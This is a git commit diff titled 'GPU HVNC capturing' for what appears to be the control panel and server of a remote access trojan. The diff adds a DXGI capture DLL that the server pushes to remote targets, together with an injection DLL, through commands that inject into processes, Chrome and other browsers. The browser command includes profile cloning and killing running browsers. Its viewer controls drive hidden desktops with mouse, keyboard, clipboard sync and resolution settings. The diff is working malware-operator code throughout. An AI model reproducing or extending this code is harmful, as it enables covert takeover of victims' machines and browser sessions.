GPU HVNC capturing
This commit is contained in:
@@ -58,7 +58,6 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
const fullscreenBtn = document.getElementById("fullscreenBtn");
|
||||
const mouseCtrl = document.getElementById("mouseCtrl");
|
||||
const kbdCtrl = document.getElementById("kbdCtrl");
|
||||
const cursorCtrl = document.getElementById("cursorCtrl");
|
||||
const autoExplorerCtrl = document.getElementById("autoExplorerCtrl");
|
||||
const qualitySlider = document.getElementById("qualitySlider");
|
||||
const qualityValue = document.getElementById("qualityValue");
|
||||
@@ -72,11 +71,14 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
const viewerFps = document.getElementById("viewerFps");
|
||||
const statusEl = document.getElementById("streamStatus");
|
||||
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
||||
const dxgiCtrl = document.getElementById("dxgiCtrl");
|
||||
const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
|
||||
|
||||
function syncInputEnableState() {
|
||||
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
|
||||
if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||
if (cursorCtrl) sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
|
||||
if (dxgiCtrl) sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
|
||||
pushHvncResolution();
|
||||
}
|
||||
let activeClientId = clientId;
|
||||
let renderCount = 0;
|
||||
@@ -558,9 +560,23 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
||||
kbdCtrl.addEventListener("change", function () {
|
||||
sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||
});
|
||||
cursorCtrl.addEventListener("change", function () {
|
||||
sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
|
||||
});
|
||||
if (dxgiCtrl) {
|
||||
dxgiCtrl.addEventListener("change", function () {
|
||||
sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
|
||||
});
|
||||
}
|
||||
|
||||
function pushHvncResolution() {
|
||||
if (hvncResolutionSelect) {
|
||||
const maxHeight = parseInt(hvncResolutionSelect.value, 10);
|
||||
sendCmd("hvnc_set_resolution", { maxHeight: maxHeight });
|
||||
}
|
||||
}
|
||||
if (hvncResolutionSelect) {
|
||||
hvncResolutionSelect.addEventListener("change", function () {
|
||||
pushHvncResolution();
|
||||
});
|
||||
}
|
||||
|
||||
if (qualitySlider) {
|
||||
updateQualityLabel(qualitySlider.value);
|
||||
|
||||
@@ -128,12 +128,22 @@
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200"
|
||||
><input type="checkbox" id="kbdCtrl" /> Keyboard</label
|
||||
>
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
|
||||
><input type="checkbox" id="cursorCtrl" /> Cursor</label
|
||||
>
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Sync clipboard between your browser and the remote machine"
|
||||
><input type="checkbox" id="clipboardSyncCtrl" /> Clipboard Sync</label
|
||||
>
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200" title="Use DXGI Present hook for faster capture (requires injected process)"
|
||||
><input type="checkbox" id="dxgiCtrl" checked /> DXGI Capture</label
|
||||
>
|
||||
<label for="hvncResolutionSelect" class="text-sm text-slate-200">Resolution</label>
|
||||
<select
|
||||
id="hvncResolutionSelect"
|
||||
class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100 text-sm"
|
||||
>
|
||||
<option value="720">720p</option>
|
||||
<option value="1080" selected>1080p</option>
|
||||
<option value="1440">1440p</option>
|
||||
<option value="-1">Native</option>
|
||||
</select>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -17,6 +17,10 @@ let _cachedInjectionDll: Uint8Array | null = null;
|
||||
let _dllCachePath: string | null = null;
|
||||
let _dllCacheMtimeMs: number = 0;
|
||||
|
||||
let _cachedCaptureDll: Uint8Array | null = null;
|
||||
let _captureDllCachePath: string | null = null;
|
||||
let _captureDllCacheMtimeMs: number = 0;
|
||||
|
||||
function getInjectionDllBytes(): Uint8Array | null {
|
||||
const runtimeRoot = resolveRuntimeRoot();
|
||||
const candidates = [
|
||||
@@ -61,6 +65,49 @@ function getInjectionDllBytes(): Uint8Array | null {
|
||||
return null;
|
||||
}
|
||||
|
||||
function getCaptureDllBytes(): Uint8Array | null {
|
||||
const runtimeRoot = resolveRuntimeRoot();
|
||||
const candidates = [
|
||||
path.resolve(runtimeRoot, "dist-clients", "HVNCCapture.x64.dll"),
|
||||
path.resolve(process.cwd(), "dist-clients", "HVNCCapture.x64.dll"),
|
||||
path.resolve(import.meta.dir, "../../dist-clients/HVNCCapture.x64.dll"),
|
||||
];
|
||||
|
||||
if (_captureDllCachePath) {
|
||||
try {
|
||||
const { statSync } = require("fs");
|
||||
const st = statSync(_captureDllCachePath);
|
||||
if (st.mtimeMs === _captureDllCacheMtimeMs && _cachedCaptureDll) {
|
||||
return _cachedCaptureDll;
|
||||
}
|
||||
_cachedCaptureDll = new Uint8Array(readFileSync(_captureDllCachePath));
|
||||
_captureDllCacheMtimeMs = st.mtimeMs;
|
||||
logger.info(`[hvnc] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`);
|
||||
return _cachedCaptureDll;
|
||||
} catch {
|
||||
_captureDllCachePath = null;
|
||||
_cachedCaptureDll = null;
|
||||
}
|
||||
}
|
||||
|
||||
for (const dllPath of candidates) {
|
||||
if (!existsSync(dllPath)) continue;
|
||||
try {
|
||||
const { statSync } = require("fs");
|
||||
const st = statSync(dllPath);
|
||||
_cachedCaptureDll = new Uint8Array(readFileSync(dllPath));
|
||||
_captureDllCachePath = dllPath;
|
||||
_captureDllCacheMtimeMs = st.mtimeMs;
|
||||
logger.info(`[hvnc] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`);
|
||||
return _cachedCaptureDll;
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
|
||||
if (typeof raw === "string") {
|
||||
try {
|
||||
@@ -757,6 +804,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
case "hvnc_enable_cursor":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_cursor", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "hvnc_enable_dxgi":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_dxgi", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "hvnc_set_resolution": {
|
||||
const maxHeight = Number(payload.maxHeight) || 0;
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_set_resolution", { maxHeight });
|
||||
break;
|
||||
}
|
||||
case "hvnc_mouse_move":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
|
||||
break;
|
||||
@@ -799,12 +854,15 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
||||
break;
|
||||
}
|
||||
sendHVNCCommand(target, "hvnc_start_process_injected", {
|
||||
const captureDll = getCaptureDllBytes();
|
||||
const cmdPayload: Record<string, any> = {
|
||||
path: String(payload.path || ""),
|
||||
search_path: String(payload.search_path || ""),
|
||||
replace_path: String(payload.replace_path || ""),
|
||||
dll: dllData,
|
||||
});
|
||||
};
|
||||
if (captureDll) cmdPayload.capture_dll = captureDll;
|
||||
sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload);
|
||||
break;
|
||||
}
|
||||
case "hvnc_start_chrome_injected": {
|
||||
@@ -814,10 +872,13 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
||||
break;
|
||||
}
|
||||
sendHVNCCommand(target, "hvnc_start_chrome_injected", {
|
||||
const captureDllChrome = getCaptureDllBytes();
|
||||
const chromeCmdPayload: Record<string, any> = {
|
||||
path: String(payload.path || ""),
|
||||
dll: dllData,
|
||||
});
|
||||
};
|
||||
if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
|
||||
sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload);
|
||||
break;
|
||||
}
|
||||
case "hvnc_start_browser_injected": {
|
||||
@@ -827,14 +888,17 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
||||
break;
|
||||
}
|
||||
sendHVNCCommand(target, "hvnc_start_browser_injected", {
|
||||
const captureDllBrowser = getCaptureDllBytes();
|
||||
const browserCmdPayload: Record<string, any> = {
|
||||
browser: String(payload.browser || ""),
|
||||
path: String(payload.path || ""),
|
||||
clone: payload.clone !== false,
|
||||
cloneLite: payload.cloneLite === true,
|
||||
killIfRunning: payload.killIfRunning === true,
|
||||
dll: dllData,
|
||||
});
|
||||
};
|
||||
if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
|
||||
sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload);
|
||||
break;
|
||||
}
|
||||
case "clipboard_sync": {
|
||||
|
||||
Reference in New Issue
Block a user